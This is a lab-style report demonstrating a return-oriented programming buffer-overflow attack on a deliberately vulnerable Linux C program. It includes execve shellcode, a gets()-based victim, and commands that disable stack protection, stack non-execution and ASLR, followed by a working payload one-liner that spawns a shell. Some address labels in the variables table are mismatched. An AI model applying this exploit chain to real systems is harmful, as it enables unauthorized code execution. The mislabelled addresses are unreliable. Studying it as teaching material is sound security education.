Return Oriented Programming on Linux

Following is a report on how to execute a shell with return oriented programming on Linux.

Return Oriented Programming:

Return oriented programming is a technique of stack smashing where the attacker uses a chain of already present executable codes already present in process's memory. The executable code instructions are called gadgets. Each gadgets return to another gadget until the desired effect is achieved.

Goal:

Our goal in this demo is to get the address of '/bin/sh' and load the return address of a victim program with this address, so that we end up with a running shell.

Shellcode:

First we write our shellcode in a C file with inline assembly instructions. In our shellcode we need to find address of system() call within the libc. So that we can substitute the address of system() as our victim program's RET. Following is the shellcode:

```
int main()  {
asm("\
needle0:        jmp there\n\
here:           pop %rdi\n\
                xor %rax, %rax\n\
                movb $0x3b, %al\n\
                xor %rsi, %rsi\n\
                xor %rdx, %rdx\n\
                syscall\n\
there:          call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}
```

Victim code:

Next we write our victim code in also C. We place a buffer in our victim code which we can later exploit by causing a buffer overrun.

```
#include <stdio.h>
int main() {
char name[64];
printf("%p\n", name);  // Print address of buffer.
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
```

After we have our two codes we first begin by compiling our shell.c code with the following command:

gcc shell.c

Next we dump our program with objdump command to find the addresses in memory of our corresponding assembly code.

```
khadeeja@khadeeja-VirtualBox:~/Return-Oriented-Programming$ objdump -d a.out | s
ed -n '/needle0/,/needle1/p'
00000000004004da <needle0>:
  4004da:       eb 0e                   jmp    4004ea <there>

00000000004004dc <here>:
  4004dc:       5f                      pop    %rdi
  4004dd:       48 31 c0                xor    %rax,%rax
  4004e0:       b0 3b                   mov    $0x3b,%al
  4004e2:       48 31 f6                xor    %rsi,%rsi
  4004e5:       48 31 d2                xor    %rdx,%rdx
  4004e8:       0f 05                   syscall

00000000004004ea <there>:
  4004ea:       e8 ed ff ff ff          callq  4004dc <here>
  4004ef:       2f                      (bad)
  4004f0:       62                      (bad)
  4004f1:       69                      .byte 0x69
  4004f2:       6e                      outsb  %ds:(%rsi),(%dx)
  4004f3:       2f                      (bad)
  4004f4:       73 68                   jae    40055e <__libc_csu_init+0x4e>
        ...

00000000004004f7 <needle1>:
```

Tackle Countermeasures:

Now we can inject our malicious code in the victim code. However, to execute this technique we need to get around the stack smashing countermeasures on Linux. We tackle the following countermeasures:

1. GCC Stack Smashing Protector(SSP) is like a police in GCC compiler, which validates the integrity of stack with runtime checks and rearranges the stack layout to minimize the cost of buffer overflows. We need to get around this protector because during runtime we will be modifying the stack's integrity. To disable SSP we compile or victim file with the following command in Linux terminal:

$ gcc -fno-stack-protector -o victim victim.c

Next we tackle the next countermeasure: executable space protection.

2. Executable space protection marks regions in memory is non-executable such that no executable code can be stored and run there. We need to get away with this countermeasure because we need to inject the victim code with executable system call.

$ execstack -s victim

The execstack -s marks the stack for victim as executable. Next we need to tackle one last countermeasure, i.e. ASLR.

3. Address Space Layout Randomization: ASLR is a technique where the subroutine stack is randomized every run.

To disable ASLR we set the architecture of the previously generated victim object file with the flag –R. The following is the exact command:

setarch \`arch\` -R ./victim

The arch is supposed to be process substitution, and that process is likely just going to output the architecture of the current computer.

Carry out the attack:

1- Finding address of instructions in libc we want to execute:

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret
0x0000000000067449 : pop rdi ; ret 0xffff
0x00000000000f1c2b : pop rdi ; ret 9

2- In one terminal, run:

$ setarch `arch` -R ./victim

We get the buffer address: 0x7fffffffde10

3- In another terminal, run:

$ pid=`ps -C victim -o pid --no-headers | tr -d ' '`
$ grep libc /proc/$pid/maps

The above commands provide us with the address of libc for our current process. In my computer libc is loaded into memory starting at: 7ffff7a0e000. The address of the gadget is now 0x7ffff7a0e000 + 0x21102.

Next find location of system in memory:

nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>'

offset: 0000000000045380

4- Variables:

buffer:	0x7fffffffde10
libc base:	0x7ffff7a0e000
system (libc's address + 0x21102):	0x7ffff7a0e000 + 0x45380 = 7ffff7a53380
Gadgets (address of "/bin/sh"):	0x7ffff7a0e000 + 0x21102 = 7ffff7a2f102
bash:	0x7fffffffde10 + 64d + 8d + 24d = 0x7fffffffe737

5- Attack:

We overflow the buffer to start a shell. The xxd command creates a hexdump of the input file.

(echo -n /bin/sh | xxd -p; printf %0130d 0;
printf %016x 0x7ffff7a2f102 | tac -rs..;
printf %016x 0x7fffffffde10 | tac -rs..;
printf %016x 0x7ffff7a53380 | tac -rs..) |
xxd -r -p | setarch `arch` -R ./victim

After hitting enter a few times we are successfully in a linux shell.